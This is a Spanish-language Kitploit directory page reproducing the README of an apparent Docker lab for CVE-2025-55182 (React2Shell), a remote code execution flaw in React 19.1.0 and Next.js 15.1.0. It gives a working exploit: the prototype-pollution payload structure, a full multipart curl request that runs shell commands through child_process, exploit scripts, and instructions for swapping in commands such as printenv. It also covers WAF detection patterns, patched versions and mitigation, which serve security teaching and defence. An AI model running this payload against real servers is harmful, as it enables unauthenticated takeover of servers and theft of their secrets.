Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2025-55182-test-lab-windows — Laboratorio de prueba basado en Docker para la vulnerabilidad de RCE CVE-2025-55182 (React2Shell) en React 19.1.0/Next.js 15.1.0. Incluye scripts de explotación, pruebas de omisión de WAF con NGINX/ModSecurity y comparación de versiones parcheadas para educación en seguridad. | Kitploit
Herramientas/GitHubGitHub/fankh/cve-2025-55182-test-lab-windows
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebEvasión de WAFCTFPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de PayloadsLabs y Práctica
GitHubfankh/cve-2025-55182-test-lab-windows

cve-2025-55182-test-lab-windows

Laboratorio de prueba basado en Docker para la vulnerabilidad de RCE CVE-2025-55182 (React2Shell) en React 19.1.0/Next.js 15.1.0. Incluye scripts de explotación, pruebas de omisión de WAF con NGINX/ModSecurity y comparación de versiones parcheadas para educación en seguridad.

Ver Repositorio
3hace 9 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-55182 (React2Shell) Prueba

⚠️ Advertencia: Contiene una vulnerabilidad de ejecución remota de código (RCE) que funciona realmente.

📋 Índice

  • Resumen
  • Información de la vulnerabilidad
  • Inicio rápido
  • Demostración real del ataque
  • Entorno de prueba
  • Reglas de defensa WAF
  • Estructura de archivos
  • Material de referencia
  • Aviso legal

Resumen

Entorno de prueba en contenedor para la vulnerabilidad CVE-2025-55182 (React2Shell).

Características principales

  • ✅ Reproducción real de la vulnerabilidad - Entorno React 19.1.0 / Next.js 15.1.0
  • ✅ Ataque RCE exitoso - Ejecución real de comandos verificada
  • ✅ Prueba de defensa WAF - Configuración de reglas NGINX y Apache ModSecurity
  • ✅ Comparación de versiones parcheadas - Prueba de versión vulnerable vs. versión parcheada
  • ✅ Entorno Docker completo - Entorno de contenedor aislado

Resultado del ataque

root@kitploit:~
🔴 CRITICAL VULNERABILITY CONFIRMED!
   Successfully executed 6/7 commands

Executed Commands:
  ✅ whoami: root
  ✅ hostname: c89f1bd355b2
  ✅ pwd: /app
  ✅ id: uid=0(root) gid=0(root) groups=0(root)...
  ✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
  ✅ node-ver: v20.19.6

Información de la vulnerabilidad

CVE-2025-55182 (React2Shell)

Puntuación CVSS: 10.0 (CRÍTICA)
Impacto: Ejecución remota de código (RCE)
Requisitos de autenticación: Ninguno
Vector de ataque: Red

Versiones vulnerables

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Next.js: < 15.0.5, < 15.1.9, < 15.2.6, < 15.3.6, < 15.4.8, < 15.5.7, < 16.0.7

Versiones parcheadas

  • React: 19.1.2+
  • Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

Principio del ataque

  1. Contaminación de prototipos (Prototype Pollution) - Contaminación del prototipo a través de $1:__proto__:then
  2. Acceso al constructor de funciones (Function Constructor) - Acceso a través de la deserialización de Blob (prefijo $B)
  3. Ejecución de código arbitrario - Creación de funciones con código controlado por el atacante
  4. Ejecución de comandos del sistema - RCE a través de child_process
root@kitploit:~
// Estructura del payload de ataque
{
  "then": "$1:__proto__:then",           // Contaminación de Object.prototype.then
  "status": "resolved_model",
  "reason": -1,
  "value": '{"then": "$B0"}',            // Desencadenar deserialización de Blob
  "_response": {
    "_prefix": "código_malicioso",               // Código a ejecutar
    "_formData": {
      "get": "$1:constructor:constructor"  // Acceso al constructor de funciones
    }
  }
}

Inicio rápido

Requisitos previos

  • Docker Desktop
  • Node.js 20+ (para pruebas locales, opcional)
  • Mínimo 4 GB de RAM
  • Al menos 2 GB de espacio libre en disco

Paso 1: Iniciar el entorno

Windows (PowerShell):

root@kitploit:~
PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start

Paso 2: Verificar el estado

root@kitploit:~
.\run-tests.ps1 status

Debe esperar hasta que todos los contenedores estén en estado healthy (aproximadamente 1-2 minutos).

Paso 3: Ejecutar el ataque

Windows (PowerShell):

root@kitploit:~
# Método 1: Usar script de PowerShell (recomendado)
.\tests\exploit-working.ps1

# Método 2: Ejecutar directamente con Node.js
node tests\exploit-working.js

Paso 4: Verificar resultados

Puede ver los resultados de la ejecución de comandos en los logs del servidor:

root@kitploit:~
docker compose logs vulnerable-app --tail=20

Demostración del ataque

Script de ataque automatizado

exploit-working.js ⭐ Recomendado

Windows:

root@kitploit:~
# Script de PowerShell (recomendado)
.\tests\exploit-working.ps1

# O ejecutar directamente con Node.js
node tests\exploit-working.js

Contenido de la ejecución:

  • ✅ Ejecución de comandos de shell arbitrarios
  • ✅ Captura de la salida de comandos en los logs del servidor
  • ✅ Prueba automática de múltiples comandos
  • ✅ Informe detallado de la vulnerabilidad

Comandos probados:

  • whoami - Usuario actual (root)
  • hostname - Nombre del host del contenedor
  • pwd - Directorio de trabajo (/app)
  • id - Información completa del usuario
  • uname -a - Información del sistema
  • node --version - Versión de Node.js

Ataque manual

Ataque directo con curl

root@kitploit:~
# Crear archivo de payload
cat > payload.txt << 'EOF'
------WebKitFormBoundary123
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary123
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundary123--
EOF

# Enviar el ataque
curl -X POST http://localhost:3000/ \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
  -H "Next-Action: exploit" \
  --data-binary @payload.txt

# Verificar logs de ejecución
docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"

Ejecución de comandos personalizados

Puede modificar el script de ataque para ejecutar los comandos que desee:

root@kitploit:~
// En el archivo exploit-working.js:
const tests = [
  { name: 'custom', cmd: 'ls -la /app', desc: 'Listado del directorio de la aplicación' },
  { name: 'env', cmd: 'printenv', desc: 'Mostrar variables de entorno' }
]

Entorno de prueba

Contenedores Docker

PuertoServicioVersión de ReactPropósitoEstado del WAF
3000vulnerable-app19.1.0Vulnerable - Prueba CVE-2025-55182❌ Sin protección
3001patched-app19.1.2Seguro - Verificación del parche✅ Parcheado
8080nginx → vulnerable19.1.0Prueba WAF (NGINX)⚠️ Limitado (sin inspección de body)
8081apache → vulnerable19.1.0Prueba WAF (ModSecurity)⚠️ Limitado (respuesta 405)
8082nginx → patched19.1.2Prueba de doble protección✅ Parcheado

Entorno de la aplicación

  • Framework: Next.js 15.1.0 (App Router)
  • Versión de React: 19.1.0 (vulnerable)
  • Node.js: 20.19.6

Escenarios de prueba

Escenario 1: Ataque a la versión vulnerable

root@kitploit:~
# Ejecutar ataque funcional
node tests/exploit-working.js

# Resultado esperado: Ejecución de comandos exitosa
# Salida: Información del usuario, detalles del sistema, etc.

Escenario 2: Prueba de la versión parcheada

Windows (PowerShell):

root@kitploit:~
# Usar script de PowerShell
.\tests\exploit-working.ps1 -Port 3001

Resultado esperado: Ataque fallido (React 19.1.2 bloquea el ataque)

Escenario 3: Prueba de bloqueo WAF

Windows (PowerShell):

root@kitploit:~
# Intentar ataque a través del WAF NGINX
.\tests\exploit-working.ps1 -Port 8080

Resultado esperado: Bloqueado por las reglas WAF


Reglas de defensa WAF

Reglas de defensa NGINX

Ubicación: nginx/nginx.conf

Patrones de detección:

  1. Contaminación de prototipos - __proto__, constructor:constructor
  2. Abuso del protocolo Flight - $X:__proto__, referencia $B
  3. Cadena de gadgets - child_process, execSync, require()
  4. Evitación de codificación URL - %5f%5fproto%5f%5f
  5. Cabeceras sospechosas - Next-Action: #constructor

Comportamiento de bloqueo:

root@kitploit:~
HTTP 403 Forbidden
{
  "error": "Request blocked by WAF",
  "protection": "CVE-2025-55182",
  "waf": "NGINX"
}

Reglas de Apache ModSecurity

Ubicación: apache/modsecurity-rules.conf

Rango de IDs de reglas: 100001-100017

Reglas principales:

  • 100001: Detección de __proto__
  • 100002: Acceso a la cadena del constructor
  • 100003-100004: Abuso del protocolo Flight
  • 100006-100007: Patrón de cadena de gadgets
  • 100008-100011: Intento de RCE (child_process, exec, spawn, require)
  • 100015: Cabecera Next-Action sospechosa
  • 100017: Bloqueo basado en puntuación anómala

Prueba del WAF

root@kitploit:~
# Prueba de bloqueo NGINX
curl -X POST http://localhost:8080/ \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"polluted": true}}'

# Respuesta esperada: HTTP 403

# Prueba de bloqueo ModSecurity
curl -X POST http://localhost:8081/ \
  -H "Next-Action: test#constructor" \
  -d '{"data": "test"}'

# Respuesta esperada: HTTP 403

Verificación de logs del WAF

root@kitploit:~
# Log de seguridad de NGINX
docker compose exec nginx tail -f /var/log/nginx/security.log

# Log de auditoría de Apache ModSecurity
docker compose exec apache tail -f /var/log/apache2/modsec_audit.log

⚠️ Limitaciones del WAF

Importante: La configuración actual del WAF tiene las siguientes limitaciones:

NGINX (puerto 8080)

  • ❌ No inspecciona el cuerpo de la solicitud
  • La configuración por defecto de NGINX solo inspecciona URL, parámetros de consulta y cabeceras
  • El payload de explotación está en el cuerpo multipart/form-data y no se detecta
  • Solución: Se necesita lua-nginx-module o una solución WAF separada

Apache ModSecurity (puerto 8081)

  • ⚠️ Next.js rechaza solicitudes POST (405 Method Not Allowed)
  • ModSecurity está activado y puede inspeccionar el cuerpo
  • Pero requiere la cabecera Next-Action, y solo esta cabecera no proporciona protección suficiente
  • Estado actual: El WAF responde con 405 antes de inspeccionar el cuerpo

Defensa contra ataques reales:

  • ✅ Método más efectivo: Actualizar React/Next.js a versiones parcheadas (puerto 3001, 8082)
  • ⚠️ El WAF solo proporciona protección parcial: Limitado para ataques que requieren inspección del cuerpo

Estructura de archivos

root@kitploit:~
cve-2025-55182-test-lab-windows/
├── README.md                           # README
├── docker-compose.yml                  # Configuración del entorno Docker
├── run-tests.ps1                       # Script de ejecución para Windows
├── run-tests.sh                        # Script de ejecución para Linux/Mac
│
├── vulnerable-app/                     # Aplicación con versión vulnerable
│   ├── Dockerfile
│   ├── package.json                    # React 19.1.0, Next.js 15.1.0
│   ├── next.config.js
│   ├── app/
│   │   ├── layout.js                   # Diseño básico
│   │   ├── page.js                     # Página principal
│   │   └── api/
│   │       └── health/                 # Endpoint de health check
│   │           └── route.js
│   └── tests/                          
│
├── patched-app/                        # Aplicación con vulnerabilidad resuelta
│   ├── Dockerfile
│   ├── package.json                    # React 19.1.2, Next.js 15.1.9
│   ├── next.config.js
│   └── app/
│       ├── layout.js
│       ├── page.js
│       └── api/
│           └── health/
│               └── route.js
│
├── tests/                              # Scripts de ataque
│   ├── exploit-working.js              # Ataque RCE (Node.js)
│   ├── exploit-working.ps1             # Ataque RCE (PowerShell)
│   └── exploit-working.cmd             # Ataque RCE (archivo batch)
│
├── nginx/                              # Configuración del WAF NGINX
│   ├── nginx.conf                      # Reglas de bloqueo CVE-2025-55182
│   └── nginx-patched.conf              # Configuración de proxy
│
└── apache/                             # Configuración de Apache ModSecurity
    ├── Dockerfile
    ├── apache-config.conf
    └── modsecurity-rules.conf          # Reglas de bloqueo ModSecurity

Métodos de verificación del ataque

Método 1: Verificar la salida del script

El script de ataque muestra los resultados directamente:

root@kitploit:~
[whoami] Sending exploit...
  ✅ SUCCESS! Output: root

Método 2: Monitorear los logs del servidor

root@kitploit:~
# Monitoreo de logs en tiempo real
docker compose logs -f vulnerable-app

# Elementos a verificar:
# [EXPLOIT] Executing: whoami
# [RESULT] root

Método 3: Verificar indicadores de ataque

root@kitploit:~
# Verificar si el ataque se ejecutó
docker compose exec vulnerable-app ps aux | grep node

# Verificar cambios en el sistema de archivos (si se crearon archivos)
docker compose exec vulnerable-app ls -la /tmp

Medidas de mitigación

Parche npm

  1. Actualizar React - Instalar versión 19.1.2 o superior:

    root@kitploit:~
    npm install react@^19.1.2 react-dom@^19.1.2
    
  2. Actualizar Next.js - Instalar versión 15.1.9 o superior:

    root@kitploit:~
    npm install next@^15.1.9
    
  3. Reconstruir y redistribuir:

    root@kitploit:~
    npm run build
    # Desplegar en el entorno de producción
    

Verificación posterior al parche

Windows (PowerShell):

root@kitploit:~
# Probar con la versión parcheada
.\tests\exploit-working.ps1 -Port 3001

# O
$env:TARGET_PORT=3001; node tests\exploit-working.js

Linux/Mac:

root@kitploit:~
# Probar con la versión parcheada
TARGET_PORT=3001 node tests/exploit-working.js

Ejemplo de resultado: ℹ️ Exploitation failed

Medidas de seguridad si no se puede parchear

  1. Implementar reglas WAF - Usar las reglas NGINX/ModSecurity de este proyecto
  2. Segmentación de red - Restringir el acceso externo
  3. Limitación de tasa (Rate Limiting) - Aplicar límites al endpoint de Server Action
  4. Monitoreo de logs - Vigilar registros de intentos de ataque

Comandos Docker

Gestión del entorno

root@kitploit:~
# Iniciar
.\run-tests.ps1 start

# Verificar estado
.\run-tests.ps1 status

# Ver logs
.\run-tests.ps1 logs

# Detener
.\run-tests.ps1 stop

# Limpiar (eliminar todos los contenedores y volúmenes)
.\run-tests.ps1 clean

Solución de problemas

Si el ataque no funciona

Windows (PowerShell):

root@kitploit:~
# 1. Verificar versiones
docker compose exec vulnerable-app npm list react next

# Debería mostrar:
# [email protected]
# [email protected]

# 2. Verificar que el servidor responde
curl http://localhost:3000

# 3. Verificar logs de Docker
docker compose logs vulnerable-app --tail=50

# 4. Reiniciar el contenedor
docker compose restart vulnerable-app

Si no se pueden ver los valores de salida

Windows (PowerShell):

root@kitploit:~
# Filtrar logs en PowerShell
docker compose logs vulnerable-app --tail=20 | Select-String "EXPLOIT|RESULT"

Docker Desktop no se ejecuta (solo Windows)

Síntoma del error:

root@kitploit:~
error during connect: Get "http://%2F%2F.%2Fpipe%2FdockerDesktopLinuxEngine...

Solución:

  1. Ejecutar Docker Desktop
  2. Verificar que el icono de la bandeja esté verde
  3. Verificar con el comando docker ps

El script de PowerShell no se puede ejecutar (solo Windows)

Síntoma del error:

root@kitploit:~
No se pueden ejecutar scripts en este sistema...

Solución:

root@kitploit:~
# Aplicar solo a la sesión actual
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

# O ejecutar directamente
PowerShell -ExecutionPolicy Bypass -File .\tests\exploit-working.ps1

Errores de permisos

Verificar que Docker esté en ejecución y tenga permisos:

Todas las plataformas:

root@kitploit:~
docker compose ps

Conflictos de puertos

Si otra aplicación está utilizando el puerto:

Windows (PowerShell):

root@kitploit:~
# Verificar procesos que usan el puerto
netstat -ano | findstr :3000

# Terminar el proceso (después de verificar el PID)
taskkill /PID <PID> /F

Todas las plataformas (modificar docker-compose.yml):

root@kitploit:~
# Cambiar puertos para evitar conflictos
services:
  vulnerable-app:
    ports:
      - "3010:3000"  # Cambiar de 3000 a 3010

Si el WAF no funciona

Todas las plataformas:

root@kitploit:~
# Probar configuración NGINX
docker compose exec nginx nginx -t

# Probar configuración Apache
docker compose exec apache apachectl configtest

# Verificar logs
docker compose logs nginx --tail=30
docker compose logs apache --tail=30

Material de referencia

Avisos de seguridad oficiales

  • Aviso de seguridad de React
  • Resumen CVE-2025-55182 de Vercel
  • Aviso CVE-2025-66478 de Next.js
  • NVD - CVE-2025-55182

Análisis técnico

  • Datadog Security Labs - CVE-2025-55182
  • Blog de Wiz - RCE crítica en React
  • Análisis de Palo Alto Unit42
  • Blog de Kaspersky
  • Blog de OX Security

Proof of Concepts

  • msanft/CVE-2025-55182
  • dwisiswant0/CVE-2025-55182
  • EynaExp/CVE-2025-55182-POC
  • Spritualkb/CVE-2025-55182-exp
  • ejpir/CVE-2025-55182-research

Licencia

Este proyecto se proporciona con fines educativos y de investigación en seguridad.

Restricciones de uso:

  • Utilizar únicamente para pruebas de seguridad autorizadas.
  • Prohibida su modificación con fines maliciosos.

Descargar herramienta